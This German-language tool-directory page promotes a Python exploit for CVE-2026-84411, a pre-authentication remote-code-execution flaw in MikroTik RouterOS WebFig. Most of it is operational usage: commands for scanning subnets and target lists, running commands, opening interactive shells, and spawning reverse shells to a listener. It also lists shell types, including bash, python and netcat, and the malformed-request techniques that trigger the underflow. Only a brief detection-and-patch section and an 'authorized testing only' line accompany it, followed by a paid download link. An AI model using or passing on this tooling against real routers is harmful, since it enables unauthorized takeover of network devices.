Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-84411 — Python-Exploit für CVE-2026-84411, einen Pre-Auth-Integer-Underflow in MikroTik RouterOS WebFig, der RCE ermöglicht, mit Scanning, Befehlsausführung und Reverse Shells. | Kitploit
Tools/GitHubGitHub/maxprog-svg/cve-2026-84411
Embedded-System-SicherheitAufklärungSchwachstellenscannerIoT-SicherheitExploitationWebanwendungs-ExploitationNetzwerksicherheitPenetrationstestsRemote-Access-Tool
GitHubmaxprog-svg/cve-2026-84411

CVE-2026-84411

Python-Exploit für CVE-2026-84411, einen Pre-Auth-Integer-Underflow in MikroTik RouterOS WebFig, der RCE ermöglicht, mit Scanning, Befehlsausführung und Reverse Shells.

16vor 26 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

Überblick

CVE-2026-84411 ist eine kritische Remote-Code-Execution-Schwachstelle (RCE) vor der Authentifizierung in MikroTik RouterOS.

FeldWert
CVSS v39.8 (Kritisch)
CWECWE-191: Integer-Unterlauf
AngriffsvektorNetzwerk
AuthentifizierungKeine (Pre-Auth)
AuswirkungVollständige RCE als root / DoS
BetroffenRouterOS < 7.24
BehobenRouterOS 7.24+

Funktionsweise

Der Webverwaltungsdienst (WebFig, lauscht auf TCP/80 und TCP/443) enthält einen Integer-Unterlauf in der Verarbeitung von HTTP-Anfragekörpern. Eine einzige speziell präparierte HTTP-Anfrage – ohne Anmeldung gesendet – kann den Dienst zum Absturz bringen oder die Ausführung beliebigen Codes mit vollen Rechten ermöglichen.

Der Unterlauf tritt auf, wenn der Parser eine Körperlänge mit unzureichender Validierung berechnet, wodurch der Wert unter null gewrappt und zu einer sehr großen vorzeichenlosen Ganzzahl unterläuft. Speicheroperationen, die dieser korrupten Länge vertrauen (Kopien, Allokationen, Grenzprüfungen), verhalten sich dann katastrophal.

Schnellstart

# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1

# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check

# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"

# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive

# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444

# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt

# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24

# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells

Verwendung

usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
                         [--check] [--shell LHOST LPORT] [--cmd COMMAND]
                         [--interactive] [--list-shells]
                         [--lhost LHOST] [--lport LPORT] [-v]
                         [--timeout TIMEOUT] [--no-color]

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

options:
  -h, --help            show this help message
  -t, --target TARGET   Target URL or host (e.g., http://192.168.88.1)
  -i, --input INPUT_FILE
                        File with targets (one per line)
  --range CIDR          IP range to scan (CIDR notation)
  --check               Run full exploit check
  --shell LHOST LPORT   Spawn reverse shell
  --cmd COMMAND         Execute single command
  --interactive         Interactive shell session
  --list-shells         List available reverse shell types
  --lhost LHOST         Listener host for reverse shell
  --lport LPORT         Listener port for reverse shell
  -v, --verbose         Verbose output
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  --no-color            Disable ANSI colours

Exploit-Methoden

Das Tool verwendet vier Erkennungsmethoden:

  1. Content-Length-Unterlauf — Senden Sie ein POST mit einem Content-Length, das deutlich größer als die tatsächliche Body-Größe ist
  2. Chunked Transfer Encoding — Senden Sie extreme Chunk-Größen (UINT32_MAX, UINT16_MAX)
  3. Negativer Content-Length — Senden Sie negative Content-Length-Werte, um einen Unterlauf auszulösen
  4. Großer Body — Senden Sie sehr große Bodies mit passendem Content-Length

Reverse-Shell-Typen

TypBefehl
bashStandard-Bash-Reverse-Shell
pythonPython-2-Reverse-Shell
python3Python-3-Reverse-Shell
perlPerl-Reverse-Shell
phpPHP-Reverse-Shell
ncNetcat-Reverse-Shell

Dateiformat für Batch-Scans

targets.txt — ein Ziel pro Zeile:

http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com

Erkennung & Reaktion

Netzwerk-Telemetrie

Das Signal mit der höchsten Aussagekraft ist jede Verbindung zu den Web-Verwaltungsports von RouterOS (TCP/80, TCP/443) von einer Quelle, die kein bekannter Verwaltungshost ist.

Sigma-Regeln

Sigma-Regeln finden Sie im Blogbeitrag von Security Arsenal: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide

Gegenmaßnahme

Aktualisieren Sie auf RouterOS 7.24 oder höher.

Referenzen

  • MikroTik Advisory
  • CISA Advisory ICSA-26-272-06
  • NVD CVE-2026-84411
  • SentinelOne Analysis
  • Go PoC

Lizenz

Nur für autorisierte Sicherheitstests.

Autor

Python-Port basierend auf dem Go PoC von Gagaltotal666 / GhostGTR666.

https://satoshidisk.com/pay/CSaodb

Tool herunterladen